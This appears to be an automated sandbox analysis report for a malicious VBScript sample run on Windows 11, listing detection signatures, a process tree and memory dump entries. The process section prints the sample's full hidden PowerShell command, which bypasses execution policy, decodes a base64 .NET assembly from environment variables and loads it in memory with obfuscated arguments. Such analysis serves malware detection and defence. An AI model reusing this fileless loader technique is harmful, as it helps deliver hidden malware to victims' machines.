Analysis
- max time kernel
149s - max time network
141s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
22/09/2026, 13:31
General
- Target cefcf9f24639c5570e808b5b4d060b3c6edb2857.vbs
- Size 4.9MB
- Sample260922-qsm7vsfd78
- SHA256 f64d2bcd29b7f812596b1a14cd8815ced85aba61a3ed8056b606f92d5f98ece6
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\cefcf9f24639c5570e808b5b4d060b3c6edb2857.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$haemorrhagings=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5;$ralphies=[Convert]::FromBase64String($haemorrhagings);[AppDomain]::CurrentDomain.Load($ralphies)|Out-Null;[Win32.RMP.Cls_AFgLgYTFCO]::Met_AFgLgYTFCOVq('uPyR9yKyLbxjrzdqS+q1KBxoo6oAupSrKZyizHeE7d9Y/rsJfuM/0OW2COQIjK+c0Nzd7IMwPLfN1GwG182NNywwOlCKIaQ2/g8IWsUwqx78JucsxPbxLy77A8cYGyj5','','IT/KFqukfKYUzhJFs5aBSIjhHVvq+30t5tj8sMxvGBBvAn2+MM6gtiTF/qCglCyC','6qNi+R0wICXanRA1hTe5kJ2ZTB/PJ/FLGuA/0ycOXXk=','AXx/FC4Rg5Ott1CNIFD4Nsi7HrSSy8Kr2bFKG/abFqA=','','Yop5cx6kdU2zi34DX9FYfKojQPGnQBJRTikJfN66Nuo=','','XcR2TQ7dBSswo3fLnCIlGzAphxutdDvyxkkPqUKWyHM=','drDFY4mR51lh+jAicISCaQjCz/WAMG45p7uQsS12pUTAc/8iXNOAqhsPz7KKHozQ','6Iys+FyJyF5Cj3ITJQVLPKAyhvdmSdXaB2OsDQjdmzE=','YWWBPyraBSaPPf28kGoq6I6bTtXxKwfa2txmpt7BB1g=','Dh0yOU9UUtFxcD30C29mUfss7sGcIFfJmrxP1RUbzVM=','','NS+KO4w/8zrP6eq/RW48SbccWpJvautKS+C4Fx6951U=','4WX7iIE7kLY+rUSEVDghM4aUCERuorQwKEd6qOBQBj0=','','','')"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$haemorrhagings=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5;$ralphies=[Convert]::FromBase64String($haemorrhagings);[AppDomain]::CurrentDomain.Load($ralphies)|Out-Null;[Win32.RMP.Cls_AFgLgYTFCO]::Met_AFgLgYTFCOVq('uPyR9yKyLbxjrzdqS+q1KBxoo6oAupSrKZyizHeE7d9Y/rsJfuM/0OW2COQIjK+c0Nzd7IMwPLfN1GwG182NNywwOlCKIaQ2/g8IWsUwqx78JucsxPbxLy77A8cYGyj5','','IT/KFqukfKYUzhJFs5aBSIjhHVvq+30t5tj8sMxvGBBvAn2+MM6gtiTF/qCglCyC','6qNi+R0wICXanRA1hTe5kJ2ZTB/PJ/FLGuA/0ycOXXk=','AXx/FC4Rg5Ott1CNIFD4Nsi7HrSSy8Kr2bFKG/abFqA=','','Yop5cx6kdU2zi34DX9FYfKojQPGnQBJRTikJfN66Nuo=','','XcR2TQ7dBSswo3fLnCIlGzAphxutdDvyxkkPqUKWyHM=','drDFY4mR51lh+jAicISCaQjCz/WAMG45p7uQsS12pUTAc/8iXNOAqhsPz7KKHozQ','6Iys+FyJyF5Cj3ITJQVLPKAyhvdmSdXaB2OsDQjdmzE=','YWWBPyraBSaPPf28kGoq6I6bTtXxKwfa2txmpt7BB1g=','Dh0yOU9UUtFxcD30C29mUfss7sGcIFfJmrxP1RUbzVM=','','NS+KO4w/8zrP6eq/RW48SbccWpJvautKS+C4Fx6951U=','4WX7iIE7kLY+rUSEVDghM4aUCERuorQwKEd6qOBQBj0=','','','')"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
memory/548-10-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp
memory/548-12-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp
memory/548-6-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp
memory/548-5-0x000001F8FFED0000-0x000001F8FFEF2000-memory.dmp
memory/548-9-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp
memory/548-24-0x000001F899EE0000-0x000001F899F02000-memory.dmp
memory/548-11-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp
memory/548-2-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp
memory/548-13-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp
memory/548-14-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp
memory/548-31-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp
memory/548-0-0x00007FFB361EF000-0x00007FFB361F0000-memory.dmp
memory/548-1-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp
memory/548-26-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp
memory/5524-17-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp
memory/5524-20-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp
memory/5524-21-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp
memory/5524-22-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp
memory/5524-23-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp
memory/5524-19-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp
memory/5524-25-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp
memory/5524-16-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp
memory/5524-28-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp
memory/5524-18-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp
memory/5524-15-0x00007FFB36060000-0x00007FFB36A04000-memory.dmp